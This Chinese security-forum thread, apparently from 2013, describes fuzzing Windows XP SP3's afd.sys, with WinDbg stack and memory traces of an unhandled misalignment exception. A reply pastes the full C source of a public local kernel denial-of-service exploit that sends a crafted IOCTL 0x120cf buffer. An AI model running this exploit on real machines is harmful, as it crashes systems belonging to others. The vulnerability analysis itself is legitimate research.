首页
社区
课程
招聘
[原创]WindowsXPSp3_AFD.sys_本地拒绝服务漏洞的挖掘过程
发表于: 2013-3-17 15:22 11505

[原创]WindowsXPSp3_AFD.sys_本地拒绝服务漏洞的挖掘过程

2013-3-17 15:22
11505

这是本人第一次做漏洞挖掘,2月的时候开始研究漏洞挖掘技术,2月24号那天在进行Fuzz测试的时候偶然的发现了一个afd.sys未处理的异常,然后就对这个异常如获至宝的分析起来了,因为在上班,所以都是利用周末时间来进行,前前后后到加起来差不多5天时间。现在这个漏洞的原因以及低层次的利用已经全部完成,所以拿出来跟大家分享一下,虽然挖到现在只挖出了本地拒绝服务的用处,在如今0Day满天飞的年代这个Vulnerability的价值微乎其微,但是对于我个人来说意义很大,毕竟是第一次做漏洞分析,对于把分析问题的思路从工作惯性转向漏洞挖掘有不少帮助(我的工作平时接触最多的就是,栈,一天到晚就是抓栈,分析栈,也经常抓dump,分析dump,但是工作的目的不是挖掘漏洞,所以我要转型挖漏洞需要最大的改变就是工作时候的目的性)。好了,不废话了,下面把从最初发现这个漏洞到写出这篇文章的过程详细的写出来。

1  Fuzz发现afd.sys发生未处理的ExRaiseDatatypeMisalignment异常。 
Pic1
2  异常原因探究
上图圈起来的数据都是需要关注的,到这里,我们就要先看一看详细情况,首先看【栈】:

kd> kvn
 # ChildEBP RetAddr  Args to Child              
00 b19698cc 8060d5a4 8060d550 b1969a14 b246db47 nt!ExRaiseDatatypeMisalignment+0xa (FPO: [0,0,0])
01 b19698d8 b246db47 5fcaa03a 00000004 00000004 nt!ProbeForWrite+0x54 (FPO: [Non-Fpo])  //#
02 b1969a14 805768eb 821c45d0 00000001 00f3fd20 afd!AfdFastIoDeviceControl+0x4a9 (FPO: [Non-Fpo]) //#
03 b1969ac4 8056f4de 00000230 00000000 00000000 nt!IopXxxControlFile+0x261 (FPO: [Non-Fpo])
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for IOCTL_fuzzer.sys - 
04 b1969af8 b16dfed5 00000230 00000000 00000000 nt!NtDeviceIoControlFile+0x2a (FPO: [Non-Fpo]) //#
WARNING: Stack unwind information not available. Following frames may be wrong.
05 b1969b8c b16e05c3 00000001 00000230 00000000 IOCTL_fuzzer+0x4ed5
06 b1969c80 b16e0b9b 00000001 824a4380 00000230 IOCTL_fuzzer+0x55c3
07 b1969d34 8053e658 00000230 000002c0 00000000 IOCTL_fuzzer+0x5b9b
08 b1969d34 7c92e514 00000230 000002c0 00000000 nt!KiFastCallEntry+0xf8 (FPO: [0,0] TrapFrame @ b1969d64)
09 00f3fce0 7c92d28a 719c7425 00000230 000002c0 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
0a 00f3fce4 719c7425 00000230 000002c0 00000000 ntdll!ZwDeviceIoControlFile+0xc (FPO: [10,0,0]) //#
0b 00f3fe78 7c930041 00090718 000bb8e0 0000605d 0x719c7425
0c 00f3ff60 7c947bc5 00000000 000badc8 000bc038 ntdll!RtlFreeHeap+0x1e9 (FPO: [Non-Fpo])
0d 00f3ff74 7c947b9c 7c947ae9 00000000 000badc8 ntdll!RtlpApcCallout+0x11 (FPO: [Non-Fpo])
0e 00f3ffb4 7c80b729 00000000 00000000 00000000 ntdll!RtlpWorkerThread+0x87 (FPO: [Non-Fpo])
0f 00f3ffec 00000000 7c930250 00000000 00000000 0x7c80b729
kd> .frame 1
01 b19698d8 b246db47 nt!ProbeForWrite+0x54
kd> dds b19698d8 L9
b19698d8  b1969a14
b19698dc  b246db47 afd!AfdFastIoDeviceControl+0x4a9
b19698e0  5fcaa03a  // Address
b19698e4  00000004  // Length
b19698e8  00000004  // Alignment
b19698ec  824182a0
b19698f0  821c45d0
b19698f4  b246b030 afd!AfdFastIoDispatch
b19698f8  00000000
kd> .frame 4
04 b1969af8 b16dfed5 nt!NtDeviceIoControlFile+0x2a
kd> dds b1969af8 L10
b1969af8  b1969b8c
b1969afc  b16dfed5 IOCTL_fuzzer+0x4ed5
b1969b00  00000230  // FileHandle
b1969b04  00000000  // Event
b1969b08  00000000  // ApcRoutine
b1969b0c  00000000  // IoStatusBlock
b1969b10  00f3fd4c  // ApcContext
b1969b14  000120cf  // IoControlCode
b1969b18  00f3fd20  // InputBuffer
b1969b1c  0000002a  // InputBufferLength
b1969b20  00000000  // OutputBuffer
b1969b24  00000000  // OutputBufferLength
b1969b28  805738c1 nt!NtWriteFile+0x607
b1969b2c  b1969be8
b1969b30  b1969c84
b1969b34  805732ba nt!NtWriteFile
kd> lm m afd*
start    end        module name
b2469000 b248ad00   afd        (pdb symbols)          f:\kernelsymbols\afd.pdb\5A0F2680051E40FCB82FED32C46BC9662\afd.pdb
kd> ?b246db47-b2469000
Evaluate expression: 19271 = 00004b47
RtlCopyMemory(pDst, ebx, 0x24);
kd> .frame 4
04 b1969af8 b16dfed5 nt!NtDeviceIoControlFile+0x2a
kd> dds b1969af8 L10
b1969af8  b1969b8c
b1969afc  b16dfed5 IOCTL_fuzzer+0x4ed5
b1969b00  00000230  // FileHandle
b1969b04  00000000  // Event
b1969b08  00000000  // ApcRoutine
b1969b0c  00000000  // IoStatusBlock
b1969b10  00f3fd4c  // ApcContext
b1969b14  000120cf  // IoControlCode
b1969b18  00f3fd20  // InputBuffer
b1969b1c  0000002a  // InputBufferLength
b1969b20  00000000  // OutputBuffer
b1969b24  00000000  // OutputBufferLength
b1969b28  805738c1 nt!NtWriteFile+0x607
b1969b2c  b1969be8
b1969b30  b1969c84
b1969b34  805732ba nt!NtWriteFile
kd> ?ebx    // 这里只是恰好在发生异常的时候Ebx的值没有被改变,其他情况如果ebx的值被改变了的话,就需要重新启动调试,打好断点然后再查看。
Evaluate expression: 15990048 = 00f3fd20

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 6
支持
分享
最新回复 (30)
雪    币: 316
活跃值: (128)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
2
沙发,等待加精.
2013-3-17 15:31
0
雪    币: 1015
活跃值: (235)
能力值: ( LV12,RANK:440 )
在线值:
发帖
回帖
粉丝
3
坐等仙果= =
2013-3-17 15:37
0
雪    币: 859
活跃值: (309)
能力值: ( LV11,RANK:180 )
在线值:
发帖
回帖
粉丝
4
楼主真给力~~~
2013-3-17 15:45
0
雪    币: 1491
活跃值: (985)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
5
加精了,谢谢楼主的分享
2013-3-17 16:31
0
雪    币: 206
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
佩服佩服,学习了
2013-3-17 16:58
0
雪    币: 97697
活跃值: (200824)
能力值: (RANK:10 )
在线值:
发帖
回帖
粉丝
7
Thanks for share.
2013-3-17 17:41
0
雪    币: 76
活跃值: (114)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
FUZZING工具求。
2013-3-17 18:05
0
雪    币: 106
活跃值: (40)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
9
老外开源的,IOCTL FUZZER
2013-3-17 19:03
0
雪    币: 496
活跃值: (286)
能力值: ( LV13,RANK:400 )
在线值:
发帖
回帖
粉丝
10
↓↓↓↓↓↓↓↓↓
2013-3-17 19:40
0
雪    币: 589
活跃值: (119)
能力值: ( LV11,RANK:190 )
在线值:
发帖
回帖
粉丝
11
用这个方法Fuzz驱动效率太低了
2013-3-17 20:47
0
雪    币: 257
活跃值: (67)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
12
嗯,看到了,这样就可以实现一个Ring3的BSOD是吧?
2013-3-17 21:13
0
雪    币: 544
活跃值: (264)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
13
http://www.exploit-db.com/exploits/17133/

////////////////////////////////////////////////////////////////////////////
//
// Title: Microsoft Windows xp AFD.sys Local Kernel DoS Exploit
// Author: Lufeng Li of Neusoft Corporation
// Vendor: www.microsoft.com
// Vulnerable: Windows xp sp3
//
/////////////////////////////////////////////////////////////////////////////
 
#include <stdio.h>
#include <Winsock2.h>
 
#pragma comment (lib, "ws2_32.lib")
 
BYTE buf[]={
0xac,0xfd,0xd3,0x00,0x01,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x20,0x00,0x00,0x00,0xe8,0xfd,0xd3,0x00,
0xb8,0xfd,0xd3,0x00,0xf8,0xfd,0xd3,0x00,0xc4,0xfd,
0xd3,0x00,0xcc,0xfd,0xd3,0x00};
 
int main( )
{
    WSADATA ws;
 
    SOCKET tcp_socket;
    struct sockaddr_in peer;
    ULONG  dwReturnSize;
 
    printf("\n Microsoft Windows xp AFD.sys Local Kernel DoS Exploit \n\n");
    printf("\t Create by Lufeng Li of Neusoft Corporation. \n\n");
 
    WSAStartup(0x0202,&ws);
 
    peer.sin_family = AF_INET;
    peer.sin_port = htons( 0x01bd );
    peer.sin_addr.s_addr = inet_addr( "127.0.0.1" );
 
    tcp_socket = socket(AF_INET, SOCK_DGRAM, 0);//SOCK_DGRAM
 
    if ( connect(tcp_socket, (struct sockaddr*) &peer, sizeof(struct sockaddr_in)) )
    {
        printf("connect error\n");
        exit(0);
    }
 
    DeviceIoControl( (HANDLE)tcp_socket,0x000120cf, buf,0x24,buf,0x24,&dwReturnSize, NULL);
     
    return TRUE;
}



微软在Probe时居然没try起来,哎。。。
2013-3-17 22:19
0
雪    币: 2194
活跃值: (1001)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
分析过程很详细 感谢分享
2013-3-17 22:20
0
雪    币: 496
活跃值: (286)
能力值: ( LV13,RANK:400 )
在线值:
发帖
回帖
粉丝
15
擦!果然是已知漏洞= =
2013-3-17 22:45
0
雪    币: 146
活跃值: (182)
能力值: ( LV13,RANK:220 )
在线值:
发帖
回帖
粉丝
16
乍看以为新漏洞 其实xpsp3 的内核漏洞基本没啥找了 微软也不会补 除非明确执行代码的
2013-3-17 22:58
0
雪    币: 289
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
分析很详细,谢谢楼主
2013-3-18 00:46
0
雪    币: 17
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
占个位置学习
2013-3-18 09:25
0
雪    币: 215
活跃值: (90)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
19
这个模块我就分析过11046和11080两个。就此顺便初步学了下内核知识、内核驱动的结构。
2013-3-18 10:11
0
雪    币: 219
活跃值: (783)
能力值: (RANK:290 )
在线值:
发帖
回帖
粉丝
20
mark ~~~~~
2013-3-18 13:45
0
雪    币: 142
活跃值: (310)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
21
现在很少有人用xp了吧
2013-3-18 14:50
0
雪    币: 8201
活跃值: (2701)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
我周围几乎全是XP
2013-3-18 18:11
0
雪    币: 253
活跃值: (46)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
23
http://hi.baidu.com/azy0922/item/02a5e6da50cae4e7785daa7b
2013-3-18 20:01
0
雪    币: 284
活跃值: (34)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
好好学习该贴!
2013-3-18 20:14
0
雪    币: 253
活跃值: (46)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
25
最近老v经常出现在感谢人群中~
2013-3-18 20:19
0
游客
登录 | 注册 方可回帖
返回
//